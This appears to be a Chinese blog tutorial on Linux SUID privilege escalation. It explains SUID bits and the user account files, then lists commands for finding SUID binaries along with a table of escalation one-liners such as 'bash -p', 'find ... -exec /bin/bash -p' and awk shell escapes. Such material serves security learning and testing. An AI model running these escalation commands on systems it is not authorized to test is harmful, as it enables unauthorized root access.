浅析Linux SUID提权
什么是SUID
SUID(Set User ID)是文件权限的一种特殊位,表示当一个可执行文件被执行时,它会以文件拥有者的权限运行,而不是以执行者的权限运行。 也就是说,如果该程序有SUID权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。
Linux 系统中引入了三个主要文件来管理用户和用户组的信息:
-
/etc/passwd
:- 存储用户的基本信息,例如用户名、用户ID(UID)、组ID(GID)等。
- 每个用户对应一行信息。
/etc/passwd
文件中,每一行表示一个用户的信息,包含7个字段,用冒号(:
)分隔。具体字段含义如下:编号 字段名 含义 1 用户名(login name) 用户的登录名,用于标识用户,必须是唯一的,如 root
、user1
等。2 密码占位符 传统上存储加密密码,但现在存储的是占位符 x
,实际密码存储在/etc/shadow
中。3 用户ID(UID) 每个用户都有一个唯一的用户ID,用于标识用户。例如 0
表示超级用户root
,普通用户的UID一般从1000开始。4 组ID(GID) 用户所属组的ID,用于标识用户的主组。主组的详细信息存储在 /etc/group
中。5 备注信息 说明或备注字段,通常存放用户的全名或其他信息,可以为空。 6 用户主目录 用户的默认主目录,通常是 /home/用户名
,也可以指定其他目录。7 登录Shell 用户登录时的默认Shell。例如 /bin/bash
(可登录),或/sbin/nologin
(不允许登录)。 -
/etc/shadow
:- 专门存储用户的密码信息(加密后的密码)。
- 只有root用户或具有足够权限的用户可以访问这个文件。
-
/etc/group
:- 存储系统中所有组的信息,例如组名、组ID(GID)以及组内的成员。
利用SUID提权的原理
如果一个文件的属主是 root 且设置了 SUID,即使是普通用户执行该文件,程序运行时也会以 root 权限执行;系统中的用户如果 UID=0,将被视为 root 用户。因此,若普通用户的 UID 被设为 0,登录后将自动拥有 root 权限。利用此特性,就可通过SUID进行提权。
如何设置SUID
设置 SUID 权限
-
查看文件当前权限:
1
ls -l filename
输出的权限中,没有
s
则表示尚未设置 SUID。 -
设置 SUID: 使用
chmod
命令给文件设置 SUID 位:1
chmod u+s filename
u+s
表示给文件所有者(user)增加 SUID 权限。
-
确认设置结果: 再次查看文件权限:
1
ls -al filename
如果文件权限中显示类似
-rwsr-xr-x
(注意s
),说明 SUID 设置成功。
如何查找已有SUID的文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
进行SUID提权
前提:所使用的命令必须有SUID权限
find命令提权
1 | #先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限 |
其他命令提权
suid文件 | 提权命令 |
---|---|
/usr/bin/bash | bash -p |
/usr/bin/csh | csh -b |
/usr/bin/sh | sh -p |
/usr/bin/ksh | ksh -p |
/usr/bin/zsh | zsh |
/usr/bin/find | find /etc/passwd -exec /bin/bash -p ; |
/usr/bin/awk | awk ‘BEGIN {system(“/bin/bash”)}’ |
/usr/bin/man | !/bin/bash |
/usr/bin/more | !/bin/bash |
可以查阅:https://gtfobins.github.io/
离线版:https://github.com/nccgroup/GTFOBLookup
1 | gtfoblookup gtfobins search find |
评论
评论插件加载失败
正在加载评论插件